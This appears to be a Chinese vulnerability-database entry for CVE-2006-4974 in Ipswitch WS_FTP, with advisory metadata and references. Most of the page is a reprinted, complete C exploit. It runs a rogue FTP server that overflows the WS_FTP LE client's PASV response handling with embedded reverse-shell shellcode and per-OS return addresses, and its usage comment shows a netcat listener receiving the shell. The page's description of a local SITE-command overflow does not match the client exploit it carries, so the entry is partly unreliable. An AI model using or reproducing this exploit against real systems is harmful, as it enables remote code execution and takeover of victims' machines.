WS_FTP Server 缓冲区溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111093 漏洞类型 缓冲区溢出
发布时间 2006-09-20 更新时间 2007-04-03
CVE编号 CVE-2006-4974 CNNVD-ID CNNVD-200609-412
漏洞平台 Windows CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/2401
https://www.securityfocus.com/bid/23260
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200609-412
|漏洞详情
IpswitchWS_FTPServer是一款适用于Windows系统的FTP服务程序。WS_FTPServer在本地处理注册的超长SITE命令时存在缓冲区溢出漏洞,本地攻击者可能利用此漏洞提升权限。如果在系统注册表写入超长的SITE命令串,WS_FTP在检查组配置时就会触发服务器管理器(iftpmgr.exe)中的缓冲区溢出,导致执行任意指令。
|漏洞EXP
/*
ws_exp.c
WS_FTP LE 5.08 (PASV response) 0day buffer overflow exploit
Coded by h07 <h07@interia.pl>
Tested on XP SP2 Polish, 2000 SP4 Polish
Example:

C:\>ws_exp 1 192.168.0.1 4444

[*] WS_FTP LE 5.08 (PASV response) 0day buffer overflow exploit
[*] Coded by h07 <h07@interia.pl>
[+] Listening on 21
[+] Connection accepted from 192.168.0.3
[+] Client request: USER h07
[+] Client request: PWD
[+] Client request: SYST
[+] Client request: HELP
[+] Client request: PASV
[+] Sending buffer: OK
[*] Press enter to quit

C:\>nc -v -l -p 4444
listening on [any] 4444 ...
connect to [192.168.0.1] from (UNKNOWN) [192.168.0.3] 2809: NO_DATA
Microsoft Windows 2000 [Wersja 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\Program Files\WS_FTP>
*/

#include <winsock2.h>
#define PORT 21
#define BUFF_SIZE 1024
#define RESPONSE "200 blah blah\r\n"

typedef struct
 {
 char os_name[32];
 unsigned long ret;
 } target;

char shellcode[] =
/*
win32 reverse shellcode (thx metasploit.com)
bad chars: 0x00 0x20 0x0a 0x0d 0x28 0x29
*/
"\x2b\xc9\x83\xe9\xb8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x87"
"\x61\xbc\xd8\x83\xeb\xfc\xe2\xf4\x7b\x0b\x57\x95\x6f\x98\x43\x27"
"\x78\x01\x37\xb4\xa3\x45\x37\x9d\xbb\xea\xc0\xdd\xff\x60\x53\x53"
"\xc8\x79\x37\x87\xa7\x60\x57\x91\x0c\x55\x37\xd9\x69\x50\x7c\x41"
"\x2b\xe5\x7c\xac\x80\xa0\x76\xd5\x86\xa3\x57\x2c\xbc\x35\x98\xf0"
"\xf2\x84\x37\x87\xa3\x60\x57\xbe\x0c\x6d\xf7\x53\xd8\x7d\xbd\x33"
"\x84\x4d\x37\x51\xeb\x45\xa0\xb9\x44\x50\x67\xbc\x0c\x22\x8c\x53"
"\xc7\x6d\x37\xa8\x9b\xcc\x37\x98\x8f\x3f\xd4\x56\xc9\x6f\x50\x88"
"\x78\xb7\xda\x8b\xe1\x09\x8f\xea\xef\x16\xcf\xea\xd8\x35\x43\x08"
"\xef\xaa\x51\x24\xbc\x31\x43\x0e\xd8\xe8\x59\xbe\x06\x8c\xb4\xda"
"\xd2\x0b\xbe\x27\x57\x09\x65\xd1\x72\xcc\xeb\x27\x51\x32\xef\x8b"
"\xd4\x22\xef\x9b\xd4\x9e\x6c\xb0\x87\x61\xbc\xd8\xe1\x09\xbc\xd8"
"\xe1\x32\x35\x39\x12\x09\x50\x21\x2d\x01\xeb\x27\x51\x0b\xac\x89"
"\xd2\x9e\x6c\xbe\xed\x05\xda\xb0\xe4\x0c\xd6\x88\xde\x48\x70\x51"
"\x60\x0b\xf8\x51\x65\x50\x7c\x2b\x2d\xf4\x35\x25\x79\x23\x91\x26"
"\xc5\x4d\x31\xa2\xbf\xca\x17\x73\xef\x13\x42\x6b\x91\x9e\xc9\xf0"
"\x78\xb7\xe7\x8f\xd5\x30\xed\x89\xed\x60\xed\x89\xd2\x30\x43\x08"
"\xef\xcc\x65\xdd\x49\x32\x43\x0e\xed\x9e\x43\xef\x78\xb1\xd4\x3f"
"\xfe\xa7\xc5\x27\xf2\x65\x43\x0e\x78\x16\x40\x27\x57\x09\x4c\x52"
"\x83\x3e\xef\x27\x51\x9e\x6c\xd8";

char buffer[BUFF_SIZE];

target list[] =
 {
 "XP SP2 Polish",
 0x7d16887b, //JMP ESI

 "2000 SP4 Polish",
 0x776f2015, //JMP ESI

 "XP SP2 English",
 0x7cb9e082, //JMP ESI

 "2000 SP4 English",
 0x7848a5f1, //JMP ESI

 "XP SP2 German",
 0x7ca96834  //JMP ESI
 };

void config_shellcode(unsigned long ip, unsigned short port)
 {
 memcpy(&shellcode[184], &ip, 4);
 memcpy(&shellcode[190], &port, 2);
 }

int main(int argc, char *argv[])
{
WSADATA wsa;
int sock, cl, len, os, r_len, i,
a = (sizeof(list) / sizeof(target)) - 1;
unsigned long connectback_IP, eip;
unsigned short connectback_port;
struct sockaddr_in server, client;

printf("\n[*] WS_FTP LE 5.08 (PASV response) 0day buffer overflow exploit\n");
printf("[*] Coded by h07 <h07@interia.pl>\n");

if(argc < 4)
 {
 printf("[*] Usage: %s <system> <connectback_IP> <connectback_port>\n", argv[0]);
 printf("[*] Sample: %s 0 192.168.0.1 4444\n", argv[0]);
 printf("[*] Systems..\n");
 for(i = 0; i <= a; i++)
 printf("[>] %d: %s\n", i, list[i].os_name);
 return 1;
 }

WSAStartup(MAKEWORD(2, 0), &wsa);

os = atoi(argv[1]);

if((os < 0) || (os > a))
 {
 printf("[-] Error: unknown target %d\n", os);
 return -1;
 }

eip = list[os].ret;
connectback_IP = inet_addr(argv[2]) ^ (ULONG)0xd8bc6187;
connectback_port = htons(atoi(argv[3])) ^ (USHORT)0xd8bc;
config_shellcode(connectback_IP, connectback_port);

if((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
 {
 printf("[-] Socket error\n");
 return -1;
 }

server.sin_family = AF_INET;
server.sin_addr.s_addr = htonl(INADDR_ANY);
server.sin_port = htons(PORT);

bind(sock, (struct sockaddr *) &server, sizeof(server));
listen(sock, 1);

printf("[+] Listening on %d\n", PORT);

len = sizeof(client);
cl = accept(sock, (struct sockaddr *) &client, &len);

printf("[+] Connection accepted from %s\n", inet_ntoa(client.sin_addr));

send(cl, "200 evil server ready :>\r\n", 26, 0);

for(i = 0; i <= 3; i++)
 {
 memset(buffer, 0x00, BUFF_SIZE);
 recv(cl, buffer, BUFF_SIZE - 1, 0);
 printf("[+] Client request: %s", buffer);
 send(cl, RESPONSE, strlen(RESPONSE), 0);
 }

//PASV request
memset(buffer, 0x00, BUFF_SIZE);
recv(cl, buffer, BUFF_SIZE - 1, 0);
printf("[+] Client request: %s", buffer);

//PASV response
r_len = 1011;
memset(buffer, 0x90, BUFF_SIZE);
memcpy(buffer, "200 \x31\xc0", 6);
memcpy(buffer + 6, shellcode, sizeof(shellcode) - 1);
*((unsigned long*)(&buffer[r_len])) = eip;
memcpy(buffer + (r_len + 4), "\r\n\x00", 3);

if(send(cl, buffer, strlen(buffer), 0) != -1)
printf("[+] Sending buffer: OK\n");
else
printf("[-] Sending buffer: failed\n");

printf("[*] Press enter to quit\n");
getchar();

return 0;
}

// milw0rm.com [2006-09-20]
|受影响的产品
Ipswitch WS FTP Server 5.05
|参考资料

来源:BID
名称:20121
链接:http://www.securityfocus.com/bid/20121
来源:MILW0RM
名称:2401
链接:http://www.milw0rm.com/exploits/2401
来源:XF
名称:wsftp-pasv-bo(29074)
链接:http://xforce.iss.net/xforce/xfdb/29074
来源:OSVDB
名称:29125
链接:http://www.osvdb.org/29125
来源:SECUNIA
名称:22032
链接:http://secunia.com/advisories/22032
来源:MILW0RM
名称:2401
链接:http://milw0rm.com/exploits/2401